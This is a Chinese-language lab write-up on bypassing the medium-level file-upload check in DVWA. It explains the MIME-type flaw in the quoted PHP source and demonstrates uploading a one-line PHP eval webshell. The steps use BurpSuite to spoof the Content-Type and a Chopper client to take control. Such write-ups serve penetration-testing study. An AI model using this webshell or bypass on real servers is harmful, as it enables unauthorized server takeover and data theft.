DVWA靶机-File Upload(文件上传漏洞)二

DVWA靶机-File Upload(文件上传漏洞medium级别)

1、文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等
2、正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回
3、如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell
4、一旦黑客拿到Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网
5、SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击Web服务,实际渗透两种相结合,达到对目标的深度控制

  在中安全级别下,我们首先尝试一下上传正常的jpg文件
DVWA靶机-File Upload(文件上传漏洞)二_第1张图片
  可以看到能成功上传

  再来上传一个php文件看看
DVWA靶机-File Upload(文件上传漏洞)二_第2张图片
  发现php文件上传失败了

  我们再打开后端源码看一看


    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_type = $_FILES['uploaded']['type'];
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                    echo '
';
                    echo 'Your image was not uploaded.';
                    echo '
'
; } else { echo '
';
                    echo $target_path . ' succesfully uploaded!';
                    echo '
'
; } } else{ echo '
Your image was not uploaded.
'
; } } ?>
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000))

  可以看到相比于low级别,medium级别新增了限制条件,只允许上传小于 100000 字节并且type类型是image/jpeg的文件。

  这里的jpeg并不是文件的扩展名,是指文件的类型mime

  那什么又是mime呢?
  在向服务器发起请求的时候,请求的对象有很多种,例如图片、html代码、CSS样式表还有php程序等等很多种对象的类型,那我们请求完之后,对象传过来了我们应该用哪个应用程序去打开,进行查看等操作呢,这个时候就有一个叫做mime类型的东西
  mime类型被定义在Content-Type header中,当type类型为image/jpeg时,就会用看图片的软件去打开,type类型为text/plain时,就会用文本类型的软件去打开等等

  言归正传,因为源码中限制的是文件的上传类型,而不是文件的后缀名

  所以思路就是上传一句话木马shell1.php — 通过BurpSuite抓包 — 更改type类型 — 转发上传

  老样子,先写一个一句话木马shell1.php

 @eval($_POST['pass']);?>

  设置火狐浏览器代理指向BurpSuite
DVWA靶机-File Upload(文件上传漏洞)二_第3张图片
  然后打开BurpSuite开启拦截功能
DVWA靶机-File Upload(文件上传漏洞)二_第4张图片
  返回页面,上传我们的shell1.php
DVWA靶机-File Upload(文件上传漏洞)二_第5张图片

  可以看到BurpSuite成功拦截了下来
DVWA靶机-File Upload(文件上传漏洞)二_第6张图片
  将他的type类型修改成image/jpeg,点击Forward进行转发
DVWA靶机-File Upload(文件上传漏洞)二_第7张图片
  上传成功

  打开菜刀,连接一下木马
DVWA靶机-File Upload(文件上传漏洞)二_第8张图片
  老规矩尝试权限
DVWA靶机-File Upload(文件上传漏洞)二_第9张图片
  OK,完事

你可能感兴趣的:(DVWA,文件上传漏洞,渗透,渗透测试,入侵教材,网络安全,web入侵)